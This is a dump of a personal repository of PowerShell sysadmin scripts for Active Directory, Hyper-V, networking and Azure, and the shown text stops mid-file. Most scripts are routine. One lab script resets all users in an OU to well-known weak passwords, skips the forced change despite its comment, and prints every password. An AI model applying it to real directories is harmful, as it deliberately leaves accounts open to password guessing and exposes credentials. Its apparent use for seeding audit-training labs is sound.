├── Scripts ├── readme.md ├── list_all_DC.ps1 ├── list_all_servers.ps1 ├── list_all_client_computers.ps1 ├── Get-KrbtgtPWLastSet.ps1 ├── Run-CommandOnAllServers.ps1 ├── CertificateExpirationCheck.ps1 ├── New-GMSAAccountInAD.ps1 ├── Compress-VHDX.ps1 ├── DOWNLOAD-OVER-HTTP.ps1 ├── Set-NewUPNPerOU.ps1 ├── Operating System Version.ps1 ├── AutomatedLab │ ├── New-BaseImages.ps1 │ ├── Install-SingleEndPoint.ps1 │ └── Source-Lab.ps1 ├── Set-NTLMAuditing.ps1 ├── Create-RandomPassword.ps1 ├── Get-SidHistory.ps1 ├── Setup_Ras.ps1 ├── New-ADAccount.ps1 ├── InstallPackageFromRepository.ps1 ├── New VM From File │ ├── VMConfig.xml │ └── New-VMFromFile.ps1 ├── Get-NetworkStatistics.ps1 ├── Set-DemoUsersPasswords.ps1 ├── Configure-RRasAsNetGateway.ps1 ├── Get-RemoteComputerDisk.ps1 ├── Set-AdminSDHolderUsers.ps1 ├── Windows Installation Media │ ├── XMLConfigFIle.xml │ └── New-WindowsInstallationMedia.ps1 ├── Set-ADResetPasswordAtLogon.ps1 ├── Convert-PingCastleToCSV.ps1 ├── Compact-VirtualDisks.ps1 ├── Get-NetPortsProperties.ps1 ├── DotNetHardening.ps1 ├── Move_IIS.ps1 ├── Set-RandomPasswordForGroup.ps1 ├── Azure │ └── Create-AzureResourcegroup.ps1 ├── Manage-WindowsAdminCenterDelgation.ps1 ├── Load-Module-Function.ps1 ├── Get-ADExtendedRights.ps1 ├── Match-ADHashes.ps1 ├── Merge-StigCheckLists.ps1 ├── Get-ADSchemaClassAndAttributes.ps1 ├── Search-KerbDelegatedAccounts.ps1 ├── Set-OfflineInstallationMode.ps1 ├── Set-RDPCertificate.ps1 ├── Install-Gateway.ps1 ├── Get-RemoteNTLMEvents.ps1 ├── Repair-WSUSUpdates.ps1 ├── Convert-UsersToContacts.ps1 ├── Check-11Bissues.ps1 └── token-magic.ps1 ├── README.md ├── Examples ├── Publish-Module.ps1 ├── Functions.ps1 ├── Generate-Manifest.ps1 └── ResourceGroupBytemplate.ps1 ├── Functions ├── Get-WindowsProductKey.ps1 ├── Test-PSModule.ps1 ├── Get-DomainJoinStatus.ps1 ├── Get-OperatingSystemVersion.ps1 ├── Test-InternetConnection.ps1 ├── Test-FileLock.ps1 ├── Remove-RegistryEntry.ps1 ├── Install-NuGetPackageProvider.ps1 ├── Get-OSType.ps1 ├── New-RegistryEntry.ps1 ├── Test-AzContext.ps1 └── Repair-WindowsUpdate.ps1 ├── .vscode └── launch.json └── Modules ├── Test-TCPConnection └── Test-TCPConnection.ps1 └── Install-RemoteMSI └── Install-RemoteMSI.ps1 /Scripts/readme.md: -------------------------------------------------------------------------------- 1 | Scripts Folder -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Powershell 2 | This repository contains my PowerShell Script and other PowerShell related stuff. -------------------------------------------------------------------------------- /Scripts/list_all_DC.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mfgjwaterman/Powershell/HEAD/Scripts/list_all_DC.ps1 -------------------------------------------------------------------------------- /Examples/Publish-Module.ps1: -------------------------------------------------------------------------------- 1 | Publish-Module -Name InstallRemoteMSI -Repository 'PSGallery' -NuGetApiKey "MYAPIKEY" -------------------------------------------------------------------------------- /Scripts/list_all_servers.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mfgjwaterman/Powershell/HEAD/Scripts/list_all_servers.ps1 -------------------------------------------------------------------------------- /Scripts/list_all_client_computers.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mfgjwaterman/Powershell/HEAD/Scripts/list_all_client_computers.ps1 -------------------------------------------------------------------------------- /Functions/Get-WindowsProductKey.ps1: -------------------------------------------------------------------------------- 1 | function Get-WindowsProductKey { 2 | $WindowsProductKey = (Get-WmiObject -query ‘select * from SoftwareLicensingService’).OA3xOriginalProductKey 3 | return $WindowsProductKey 4 | } 5 | -------------------------------------------------------------------------------- /Scripts/Get-KrbtgtPWLastSet.ps1: -------------------------------------------------------------------------------- 1 | Get-ADUser -Identity 'krbtgt' -properties PwdLastSet | ft Name,@{Name='PwdLastSet';Expression={[DateTime]::FromFileTime($_.PwdLastSet)}} 2 | 3 | Get-ADUser 'krbtgt' -Properties "msDS-KeyVersionNumber" 4 | -------------------------------------------------------------------------------- /Scripts/Run-CommandOnAllServers.ps1: -------------------------------------------------------------------------------- 1 | Get-ADComputer -Filter "OperatingSystem -Like '*Windows Server*' -and Enabled -eq 'True'" ` 2 | | select -ExpandProperty name | % { Invoke-Command -ComputerName $_ -ScriptBlock { cmd.exe /c gpupdate } } -ErrorAction SilentlyContinue -------------------------------------------------------------------------------- /Scripts/CertificateExpirationCheck.ps1: -------------------------------------------------------------------------------- 1 | $ExpiresInDays = 500 2 | 3 | $Certificates = Get-ChildItem -Path Cert:\LocalMachine -Recurse | where { $_.notafter -le (get-date).AddDays($ExpiresInDays) -AND $_.notafter -gt (get-date)} | select thumbprint, @{Name="Expires On";Expression={$_.NotAfter}} 4 | 5 | $Certificates -------------------------------------------------------------------------------- /Scripts/New-GMSAAccountInAD.ps1: -------------------------------------------------------------------------------- 1 | Get-KdsRootKey 2 | Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10) 3 | 4 | $ServerAADc = 'cloudidp01' 5 | 6 | New-ADServiceAccount -Name '_gMSA-AADC' -PrincipalsAllowedToRetrieveManagedPassword ('{0}$' -f $ServerAADc) -DNSHostName ('{0}.{1}' -f $ServerAADc, (Get-ADDomain).DNSRoot) -------------------------------------------------------------------------------- /Examples/Functions.ps1: -------------------------------------------------------------------------------- 1 | function MyFunction ( 2 | 3 | [parameter(Mandatory = $true)] 4 | [int]$param1) 5 | 6 | { 7 | $Param2 = $param1 + 1 8 | $Result = $true 9 | return $Result, $Param2 10 | } 11 | 12 | $Result = MyFunction(100) 13 | Write-host "Array members: " $Result 14 | Write-host "Array member 1: " $Result[0] 15 | Write-host "Array member 2: " $Result[1] 16 | $Result.GetType() -------------------------------------------------------------------------------- /Scripts/Compress-VHDX.ps1: -------------------------------------------------------------------------------- 1 | Param( 2 | [Parameter(Mandatory=$true)] 3 | $vhdxfilespath = "D:\Hyper-V\Virtual Parent Disks" 4 | ) 5 | 6 | if(-not(Test-Path $vhdxfilespath )){ 7 | Throw "You must supply a valid value for -drive" 8 | } 9 | 10 | $vhdxfiles = Get-childItem -Path $vhdxfilespath -Filter *.vhdx 11 | 12 | ForEach ($vhdxfile in $vhdxfiles){ 13 | Optimize-VHD -Path $vhdxfile.fullname -Mode Full -Verbose 14 | } -------------------------------------------------------------------------------- /Scripts/DOWNLOAD-OVER-HTTP.ps1: -------------------------------------------------------------------------------- 1 | $url = "https://bitsofwatercom.files.wordpress.com/2017/06/native-vhd-boot-a-walkthrough-of-common-scenarios.pdf" 2 | $output = "C:\Users\310244673\Desktop\TEST.PDF" 3 | $start_time = Get-Date 4 | 5 | $wc = New-Object System.Net.WebClient 6 | $wc.DownloadFile($url, $output) 7 | #OR 8 | (New-Object System.Net.WebClient).DownloadFile($url, $output) 9 | 10 | Write-Output "Time taken: $((Get-Date).Subtract($start_time).Seconds) second(s)" -------------------------------------------------------------------------------- /Scripts/Set-NewUPNPerOU.ps1: -------------------------------------------------------------------------------- 1 | $AddsUPN = "sandbox.lab" 2 | $EntraUPN = "michaelwaterman.nl" 3 | $SearchBase = "OU=Users,OU=Management,DC=sandbox,DC=lab" 4 | $UPNFilter = "'*$($AddsUPN)'" 5 | 6 | $UsersInScope = Get-ADUser -Filter "UserPrincipalName -like $($UPNFilter)" -Properties userPrincipalName -ResultSetSize $null -SearchBase $SearchBase 7 | $UsersInScope | foreach {$NewUpn = $_.UserPrincipalName.Replace("@$($AddsUPN)","@$($EntraUPN)"); $_ | Set-ADUser -UserPrincipalName $NewUpn} -------------------------------------------------------------------------------- /Functions/Test-PSModule.ps1: -------------------------------------------------------------------------------- 1 | function Test-PSModule { 2 | param ( 3 | [parameter(Mandatory=$false)] 4 | [string]$Module 5 | ) 6 | 7 | switch ( [string]::IsNullOrEmpty( ( Get-Module -Name $Module -ListAvailable ) ) ){ 8 | $false { 9 | Write-Verbose "Module has been located" 10 | } 11 | $true { 12 | Write-Error "PowerShell Module has not been found, please install before continuing" 13 | } 14 | } 15 | } -------------------------------------------------------------------------------- /Scripts/Operating System Version.ps1: -------------------------------------------------------------------------------- 1 | Param( 2 | [Parameter(Mandatory=$true)] 3 | $OSVersionRequired = '6.1.0.0' 4 | ) 5 | 6 | $OSVersion = (Get-CimInstance -Class Win32_OperatingSystem).Version 7 | $Caption = (Get-CimInstance -Class Win32_OperatingSystem).Caption 8 | 9 | if ( [version]$OSVersion -gt [version]$OSVersionRequired ) 10 | { 11 | write-output "You're running" $Caption 12 | 13 | } else { 14 | 15 | throw $Caption + " " + "Is not supported" 16 | } -------------------------------------------------------------------------------- /Functions/Get-DomainJoinStatus.ps1: -------------------------------------------------------------------------------- 1 | function Get-DomainJoinStatus { 2 | [cmdletBinding()] 3 | param ( 4 | [parameter(Mandatory = $false)] 5 | [bool]$IsJoined = $true 6 | ) 7 | Switch ( Get-CimInstance -Class Win32_OperatingSystem ) { 8 | { ( !(Get-WmiObject win32_computersystem).partofdomain -eq $IsJoined) } { 9 | Write-Error -Message "This machine does not meet the requirements for domain membership status" 10 | } 11 | } 12 | } -------------------------------------------------------------------------------- /Functions/Get-OperatingSystemVersion.ps1: -------------------------------------------------------------------------------- 1 | function Get-OperatingSystemVersion { 2 | [cmdletBinding()] 3 | param ( 4 | [parameter(Mandatory=$false)] 5 | [version]$MinimalVersionRequired = '6.3.9600' 6 | ) 7 | Switch ( Get-CimInstance -Class Win32_OperatingSystem ){ 8 | {([version]$_.Version -lt $MinimalVersionRequired )}{ 9 | Write-Error -Message "$( (Get-WmiObject -Class Win32_Operatingsystem).caption ) is not a supported Windows version." 10 | } 11 | } 12 | } -------------------------------------------------------------------------------- /Scripts/AutomatedLab/New-BaseImages.ps1: -------------------------------------------------------------------------------- 1 | $labName = 'BaseImagesCreation' 2 | $incr = 1 3 | 4 | New-LabDefinition -Name $labName -DefaultVirtualizationEngine HyperV 5 | 6 | ForEach($OperatingSystem in (Get-LabAvailableOperatingSystem)){ 7 | $hostname = "base" 8 | $hostname = ($hostname + ($incr++)) 9 | 10 | Add-LabMachineDefinition -Name $hostname -OperatingSystem ($OperatingSystem.OperatingSystemName) 11 | } 12 | 13 | Install-Lab -BaseImages 14 | 15 | Remove-Lab -Name $labName -Confirm:$false -------------------------------------------------------------------------------- /Functions/Test-InternetConnection.ps1: -------------------------------------------------------------------------------- 1 | Function Test-InternetConnection { 2 | 3 | $Beacon = 'internetbeacon.msedge.net' 4 | 5 | Switch ( Test-NetConnection -CommonTCPPort HTTP -ComputerName $Beacon ){ 6 | { ( $_.TcpTestSucceeded -ne $true ) } { 7 | Write-Error -Message 'Cannot connect to the internet, please check your connection and try again.' 8 | } 9 | { ( $_.TcpTestSucceeded -eq $true ) } { 10 | Write-Verbose -Message "Connectivity to $($Beacon) established" 11 | } 12 | } 13 | } -------------------------------------------------------------------------------- /Scripts/Set-NTLMAuditing.ps1: -------------------------------------------------------------------------------- 1 | # Audit NTLM Authentication in this domain: Enable all - Domain Controllers Only 2 | Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\services\Netlogon\Parameters' -Name AuditNTLMInDomain -Value 7 3 | 4 | # Audit incoming NTLM traffic: Enable auditing for all accounts 5 | Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0' -Name AuditReceivingNTLMTraffic -Value 2 6 | 7 | # Restrict NTLM: Outgoing NTLM traffic to remote servers: Audit All 8 | Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0' -Name RestrictSendingNTLMTraffic -Value 1 9 | 10 | 11 | -------------------------------------------------------------------------------- /Functions/Test-FileLock.ps1: -------------------------------------------------------------------------------- 1 | function Test-FileLock { 2 | param ( 3 | [parameter(Mandatory=$true)][string]$Path 4 | ) 5 | 6 | $oFile = New-Object System.IO.FileInfo $Path 7 | 8 | if ((Test-Path -Path $Path) -eq $false) { 9 | return $false 10 | } 11 | 12 | try { 13 | $oStream = $oFile.Open([System.IO.FileMode]::Open, [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::None) 14 | 15 | if ($oStream) { 16 | $oStream.Close() 17 | } 18 | return $false 19 | } catch { 20 | # file is locked by a process. 21 | return $true 22 | } 23 | } -------------------------------------------------------------------------------- /Examples/Generate-Manifest.ps1: -------------------------------------------------------------------------------- 1 | New-ModuleManifest -Path .\InstallRemoteMSI.psd1 -ModuleVersion "1.0.0.0" ` 2 | -Author "Michael Waterman" ` 3 | -CompanyName "MichaelWaterman.nl" ` 4 | -RootModule "InstallRemoteMSI.psm1" ` 5 | -Description "Install a MSI over PowerShell Remoting" ` 6 | -PowerShellVersion 5.0 ` 7 | -FunctionsToExport "Install-RemoteMSI" 8 | -------------------------------------------------------------------------------- /Functions/Remove-RegistryEntry.ps1: -------------------------------------------------------------------------------- 1 | function Remove-RegistryEntry { 2 | [cmdletBinding()] 3 | param ( 4 | [parameter(Mandatory=$true)] 5 | $DelRegPath, 6 | 7 | [parameter(Mandatory=$true)] 8 | $DelregValue 9 | ) 10 | 11 | if ( Test-Path -Path $DelRegPath ){ 12 | 13 | If( (Get-Item -Path $DelRegPath).GetValue($DelregValue) ){ 14 | Remove-ItemProperty -Path $DelRegPath -Name $DelregValue -Force 15 | } 16 | } 17 | 18 | if (Test-Path -Path $DelRegPath){ 19 | 20 | if ( ( (Get-Item -Path $DelRegPath | Select-Object -ExpandProperty property).count ) -eq 0 ){ 21 | Remove-Item -Path $DelRegPath -Force 22 | } 23 | } 24 | } -------------------------------------------------------------------------------- /Functions/Install-NuGetPackageProvider.ps1: -------------------------------------------------------------------------------- 1 | function Install-NuGetPackageProvider { 2 | 3 | [cmdletBinding()] 4 | param ( 5 | [parameter(Mandatory=$false)] 6 | [string]$NuGet = 'NuGet', 7 | 8 | [parameter(Mandatory=$false)] 9 | [version]$NuGetRequiredVersion = '2.8.5.201' 10 | ) 11 | 12 | Switch ( (Get-PackageProvider -ListAvailable).Name.Contains($NuGet) ) { 13 | 14 | $False { 15 | Install-PackageProvider -Name $NuGet -MinimumVersion $NuGetrequiredVersion -Force 16 | } 17 | $True { 18 | Switch ( Find-PackageProvider -Name $NuGet | Select-Object version ){ 19 | { ( [version]$_.Version -lt $NuGetRequiredVersion ) } { 20 | Install-PackageProvider -Name $NuGet -MinimumVersion $NuGetrequiredVersion -Force 21 | } 22 | } 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /Scripts/Create-RandomPassword.ps1: -------------------------------------------------------------------------------- 1 | function Get-RandomCharacters($length, $characters) { 2 | $random = 1..$length | ForEach-Object { Get-Random -Maximum $characters.length } 3 | $private:ofs="" 4 | return [String]$characters[$random] 5 | } 6 | 7 | function Scramble-String([string]$inputString){ 8 | $characterArray = $inputString.ToCharArray() 9 | $scrambledStringArray = $characterArray | Get-Random -Count $characterArray.Length 10 | $outputString = -join $scrambledStringArray 11 | return $outputString 12 | } 13 | 14 | $password = Get-RandomCharacters -length 8 -characters 'abcdefghiklmnoprstuvwxyz' 15 | $password += Get-RandomCharacters -length 1 -characters 'ABCDEFGHKLMNOPRSTUVWXYZ' 16 | $password += Get-RandomCharacters -length 1 -characters '1234567890' 17 | $password += Get-RandomCharacters -length 1 -characters '!"§$%&/()=?}][{@#*+' 18 | 19 | $password = Scramble-String $password 20 | 21 | Write-Host $password -------------------------------------------------------------------------------- /Scripts/Get-SidHistory.ps1: -------------------------------------------------------------------------------- 1 | function Report($msg, $logfile) 2 | { 3 | Write-Host $msg 4 | 5 | $msg | Out-File -FilePath $logfile -Append 6 | } 7 | 8 | 9 | $logfile = [System.Environment]::ExpandEnvironmentVariables('%temp%') + "\sidhistorylog.csv" 10 | 11 | Report "Logging to $logfile" $logfile 12 | 13 | $forest = Get-ADForest 14 | 15 | foreach ($domain in $forest.Domains) 16 | { "Domain $domain SID: $((Get-ADDomain -Identity $domain).DomainSID.ToString())" } 17 | 18 | foreach ($domain in $forest.Domains) 19 | { 20 | Report "Inspecting $domain" $logfile 21 | 22 | $users = Get-ADUser -LDAPFilter '(sIDHistory=*)' -Server $domain -Properties sIDHistory 23 | 24 | foreach ($usr in $users) 25 | { 26 | foreach ($sid in $usr.SIDHistory) 27 | { 28 | 29 | Report "$($usr.DistinguishedName);$($sid.ToString())" $logfile 30 | } 31 | } 32 | } 33 | 34 | Report "Finished logging into $logfile" $logfile -------------------------------------------------------------------------------- /Scripts/Setup_Ras.ps1: -------------------------------------------------------------------------------- 1 | Install-WindowsFeature -Name RSAT, Routing, RSAT-RemoteAccess -IncludeManagementTools 2 | 3 | Set-Service -Name RemoteAccess -StartupType Automatic 4 | Start-Service -Name RemoteAccess 5 | 6 | #Get-CimInstance -Class Win32_NetworkAdapter | select -ExpandProperty NetConnectionID 7 | 8 | #netsh.exe routing ip nat install 9 | netsh.exe routing ip nat install 10 | 11 | # Configures NAT on the specified interface 12 | netsh.exe routing ip nat add interface "Internet" 13 | 14 | # the interface on which you want to enable NAT. 15 | # Full specifies that full (address and port) translation mode is enabled. 16 | # addressonly specifies that address-only translation mode is enabled. 17 | # private specifies that private mode is enabled 18 | netsh.exe routing ip nat set interface "Internet" mode=full 19 | 20 | # Sets the configuration state of the server 21 | netsh.exe ras set conf confstate = enabled 22 | 23 | # Install the DNSProxy 24 | netsh.exe routing ip dnsproxy install 25 | 26 | Restart-Service -Name RemoteAccess -------------------------------------------------------------------------------- /Scripts/New-ADAccount.ps1: -------------------------------------------------------------------------------- 1 | # Define the account name for Active Directory synchronization 2 | $AccountName = '_srv-ADDSEntAdm' 3 | 4 | # Define the ou where you want to place the new account 5 | $OUservice = 'OU=Service Accounts,OU=Tier 0,OU=Admins,DC=sandbox,DC=lab' 6 | 7 | # Load assembly to generate a random password 8 | $null = [Reflection.Assembly]::LoadWithPartialName("System.Web") 9 | 10 | # Generate the password 11 | $AccountPasswd = [System.Web.Security.Membership]::GeneratePassword(64,0) 12 | 13 | # Write the password to PowerShell console 14 | $AccountPasswd 15 | 16 | # Convert the password as secure string 17 | $AccountPasswd = $AccountPasswd | ConvertTo-SecureString -AsPlainText -Force 18 | 19 | # Create new AD User for AAD Connect 20 | New-ADUser -Name $AccountName -SamAccountName $AccountName -DisplayName 'Entra ID Connect Service Account' -Path $OUservice -AccountPassword $AccountPasswd -Enabled:$true 21 | 22 | 23 | (New-Object PSCredential 0, $AccountPasswd).GetNetworkCredential().Password | Set-Clipboard -------------------------------------------------------------------------------- /Scripts/InstallPackageFromRepository.ps1: -------------------------------------------------------------------------------- 1 | # the module we are looking for 2 | $OnlineModule = "posh-ssh" 3 | 4 | # Check if the dependend package provider is already installed 5 | $PSRepositories = Get-PSRepository | select PackageManagementProvider 6 | 7 | foreach ($PSRepository in $PSRepositories) 8 | { 9 | $PSRepositoryPackageProvider = Get-PackageProvider | where name -EQ $PSRepository.PackageManagementProvider 10 | if (!$PSRepositoryPackageProvider) 11 | { 12 | Write-Host "Installing $PSRepository.PackageManagementProvider" 13 | Install-PackageProvider $PSRepository.PackageManagementProvider -force -ErrorAction Stop 14 | } 15 | } 16 | 17 | $AvailableModules = Get-Module -ListAvailable -name $OnlineModule 18 | If (!$AvailableModules){ 19 | 20 | $OnlineModuleResults = Find-Module -name $OnlineModule -ErrorAction SilentlyContinue 21 | if ($OnlineModuleResults) 22 | { 23 | Install-Module -name $OnlineModule -force -ErrorAction Stop 24 | } else { 25 | Write-Host "Module could not be found" -ForegroundColor Red ; return 26 | } 27 | } -------------------------------------------------------------------------------- /Scripts/New VM From File/VMConfig.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /Scripts/Get-NetworkStatistics.ps1: -------------------------------------------------------------------------------- 1 | Function Get-ListeningTCPConnections { 2 | [cmdletbinding()] 3 | param( 4 | ) 5 | 6 | try { 7 | $TCPProperties = [System.Net.NetworkInformation.IPGlobalProperties]::GetIPGlobalProperties() 8 | $Connections = $TCPProperties.GetActiveTcpListeners() 9 | foreach($Connection in $Connections) { 10 | if($Connection.address.AddressFamily -eq "InterNetwork" ) { $IPType = "IPv4" } else { $IPType = "IPv6" } 11 | 12 | $OutputObj = New-Object -TypeName PSobject 13 | $OutputObj | Add-Member -MemberType NoteProperty -Name "LocalAddress" -Value $connection.Address 14 | $OutputObj | Add-Member -MemberType NoteProperty -Name "ListeningPort" -Value $Connection.Port 15 | $OutputObj | Add-Member -MemberType NoteProperty -Name "IPV4Or6" -Value $IPType 16 | $OutputObj 17 | } 18 | 19 | } catch { 20 | Write-Error "Failed to get listening connections. $_" 21 | } 22 | } 23 | 24 | Get-ListeningTCPConnections -------------------------------------------------------------------------------- /Functions/Get-OSType.ps1: -------------------------------------------------------------------------------- 1 | function Get-OSType { 2 | 3 | [CmdletBinding()] 4 | param ( 5 | [Parameter(Mandatory=$true)] 6 | [ValidateSet("Client","Server","DC","ServerDC")] 7 | [String]$OSType 8 | ) 9 | 10 | Switch( $OSType ){ 11 | 'Client' { 12 | switch ( (Get-WmiObject -Class Win32_Operatingsystem) ) { 13 | { ($_.ProductType -ne 1) } { Write-Error -Message "This system type is not supported" } 14 | } 15 | } 16 | 'DC' { 17 | switch ( (Get-WmiObject -Class Win32_Operatingsystem) ) { 18 | { ($_.ProductType -ne 2) } { Write-Error -Message "This system type is not supported" } 19 | } 20 | } 21 | 'Server' { 22 | switch ( (Get-WmiObject -Class Win32_Operatingsystem) ) { 23 | { ($_.ProductType -ne 3) } { Write-Error -Message "This system type is not supported" } 24 | } 25 | } 26 | 'ServerDC' { 27 | switch ( (Get-WmiObject -Class Win32_Operatingsystem) ) { 28 | { ($_.ProductType -eq 1) } { Write-Error -Message "This system type is not supported" } 29 | } 30 | } 31 | } 32 | } 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /Functions/New-RegistryEntry.ps1: -------------------------------------------------------------------------------- 1 | function New-RegistryEntry { 2 | [cmdletBinding()] 3 | param ( 4 | [parameter(Mandatory=$true)] 5 | $SetRegPath, 6 | 7 | [parameter(Mandatory=$true)] 8 | $SetRegName, 9 | 10 | [parameter(Mandatory=$true)] 11 | $SetRegValue, 12 | 13 | [parameter(Mandatory=$true)] 14 | [ValidateSet('String','ExpandString','Binary', 'DWord', 'MultiString', 'Qword')] 15 | $SetRegPropertyType 16 | ) 17 | 18 | switch (Test-Path -Path $SetRegPath ) { 19 | $true { 20 | New-ItemProperty -Path $SetRegPath ` 21 | -Name $SetRegName ` 22 | -Value $SetRegValue ` 23 | -PropertyType $SetRegPropertyType ` 24 | -Force | Out-Null 25 | } 26 | $false { 27 | New-Item -Path $SetRegPath -Force | Out-Null 28 | 29 | New-ItemProperty -Path $SetRegPath ` 30 | -Name $SetRegName ` 31 | -Value $SetRegValue ` 32 | -PropertyType $SetRegPropertyType ` 33 | -Force | Out-Null 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /Scripts/Set-DemoUsersPasswords.ps1: -------------------------------------------------------------------------------- 1 | # Requires: RSAT tools installed and import of ActiveDirectory module 2 | Import-Module ActiveDirectory 3 | 4 | # Top 20 frequently used passwords that pass the policy 5 | $passwords = @( 6 | "Summer23!", "Password1!", "Welcome1!", "Qwerty12#", "Winter24@", 7 | "Spring23#", "Autumn22$", "ChangeMe1!", "Letmein2#", "Monkey99@", 8 | "Admin123!", "October1!", "Football7#", "IloveYou9@", "Shadow88$", 9 | "Superman1!", "Batman77#", "Starwars8@", "Dragon45$", "Ninja2024!" 10 | ) 11 | 12 | # Target OU or group - adjust as needed 13 | $users = Get-ADUser -Filter * -SearchBase "OU=Users,OU=Management,DC=lab,DC=internal" 14 | 15 | foreach ($user in $users) { 16 | # Random password from list 17 | $newPassword = (Get-Random -InputObject $passwords) 18 | 19 | try { 20 | # Reset the user's password 21 | Set-ADAccountPassword -Identity $user.SamAccountName -Reset -NewPassword (ConvertTo-SecureString -AsPlainText $newPassword -Force) 22 | 23 | # Optional: force password change at next logon 24 | Set-ADUser -Identity $user.SamAccountName -ChangePasswordAtLogon $false 25 | 26 | Write-Host "Updated password for $($user.SamAccountName) to $newPassword" -ForegroundColor Green 27 | } 28 | catch { 29 | Write-Warning "Failed to set password for $($user.SamAccountName): $_" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /Functions/Test-AzContext.ps1: -------------------------------------------------------------------------------- 1 | function Test-AzContext ([string]$Tenant, [string]$Subscription) { 2 | 3 | $ErrorActionPreference = "Stop" 4 | 5 | switch ( [string]::IsNullOrEmpty( ( Get-AzContext ) ) ) 6 | { 7 | # There's already an Azure authenticated connection 8 | $false 9 | { 10 | switch ([string]::IsNullOrEmpty( ( $Tenant ) )) { 11 | $false { 12 | switch ( (Get-AzContext).Tenant.Id.ToLower().Equals( ($Tenant).ToLower() ) ) { 13 | $false { Write-Error "Tenant ID mismatch, please provide the correct id or assume correct Tenant selection" } 14 | } 15 | } 16 | } 17 | 18 | switch ([string]::IsNullOrEmpty( ( $Subscription ) )) { 19 | $false { 20 | switch ( (Get-AzContext).Subscription.Id.ToLower().Equals( ($Subscription).ToLower() ) ) { 21 | $false { Write-Error "Subscription ID mismatch, please provide the correct id or assume correct Subscription selection" } 22 | } 23 | } 24 | } 25 | } 26 | $true 27 | { 28 | switch ([string]::IsNullOrEmpty( ( $Tenant ) )) { 29 | $false { 30 | 31 | } 32 | } 33 | } 34 | } 35 | } 36 | 37 | Test-AzContext -Tenant "F471a60c-d027-4fce-8bea-37665054066f" -Subscription "c737af30-1edc-4f9a-a7c5-4c9a4783b163" 38 | -------------------------------------------------------------------------------- /Scripts/Configure-RRasAsNetGateway.ps1: -------------------------------------------------------------------------------- 1 | # Get the Installed adapters 2 | Get-NetAdapter | select name, MacAddress 3 | 4 | # Select the adapter 5 | Rename-NetAdapter -Name "Adaptername" -NewName "AdapterNewName" 6 | 7 | # Get the ip address of the internal adapter 8 | Get-NetIPAddress -InterfaceAlias "AdapterName" 9 | 10 | # Set the ip address 11 | New-NetIPAddress -IPAddress 192.168.11.1 -InterfaceAlias "Adaptername" -AddressFamily IPv4 -PrefixLength 24 12 | 13 | # Set the dns configuration 14 | Set-DnsClient -InterfaceAlias "Adaptername" -ConnectionSpecificSuffix "corp.mydomain.com" -RegisterThisConnectionsAddress $false 15 | 16 | #Set the DNS Server 17 | Set-DnsClientServerAddress -InterfaceAlias "AdapterName" -ServerAddresses ("192.168.11.3","192.168.11.2") 18 | 19 | #Disable Bindings 20 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_implat" 21 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_lltdio" 22 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_tcpip6" 23 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_rspndr" 24 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_server" 25 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_msclient" 26 | Disable-NetAdapterBinding -Name "Adaptername" -ComponentID "ms_parser" 27 | 28 | #Disable netbios over tcp 29 | Invoke-CimMethod -Query 'SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled=1' -MethodName SetTcpipNetbios -Arguments @{TcpipNetbiosOptions=[uint32]2} 30 | 31 | 32 | 33 | 34 | -------------------------------------------------------------------------------- /Scripts/Get-RemoteComputerDisk.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Gets Disk Space of the given remote computer name 4 | .DESCRIPTION 5 | Get-RemoteComputerDisk cmdlet gets the used, free and total space with the drive name. 6 | .EXAMPLE 7 | Get-RemoteComputerDisk -RemoteComputerName "abc.contoso.com" 8 | Drive UsedSpace(in GB) FreeSpace(in GB) TotalSpace(in GB) 9 | C 75 52 127 10 | D 28 372 400 11 | 12 | .INPUTS 13 | Inputs to this cmdlet (if any) 14 | .OUTPUTS 15 | Output from this cmdlet (if any) 16 | .NOTES 17 | General notes 18 | .COMPONENT 19 | The component this cmdlet belongs to 20 | .ROLE 21 | The role this cmdlet belongs to 22 | .FUNCTIONALITY 23 | The functionality that best describes this cmdlet 24 | #> 25 | function Get-RemoteComputerDisk 26 | { 27 | 28 | Param 29 | ( 30 | $RemoteComputerName 31 | ) 32 | 33 | Begin 34 | { 35 | $output="Drive `t UsedSpace(in GB) `t FreeSpace(in GB) `t TotalSpace(in GB) `n" 36 | } 37 | Process 38 | { 39 | $drives=Get-WmiObject Win32_LogicalDisk -ComputerName $RemoteComputerName 40 | 41 | foreach ($drive in $drives){ 42 | 43 | $drivename=$drive.DeviceID 44 | $freespace=[int]($drive.FreeSpace/1GB) 45 | $totalspace=[int]($drive.Size/1GB) 46 | $usedspace=$totalspace - $freespace 47 | $output=$output+$drivename+"`t`t"+$usedspace+"`t`t`t`t`t`t"+$freespace+"`t`t`t`t`t`t"+$totalspace+"`n" 48 | } 49 | } 50 | End 51 | { 52 | return $output 53 | } 54 | } -------------------------------------------------------------------------------- /Scripts/Set-AdminSDHolderUsers.ps1: -------------------------------------------------------------------------------- 1 | # PowerShell script with a switch parameter to optionally remove the adminCount attribute 2 | # Users are listed only if the switch is not used 3 | 4 | param ( 5 | [switch]$RemoveAdminCount 6 | ) 7 | 8 | # Import Active Directory module 9 | Import-Module ActiveDirectory 10 | 11 | # Find all groups with adminCount set to 1 12 | $groupsAdminCount = 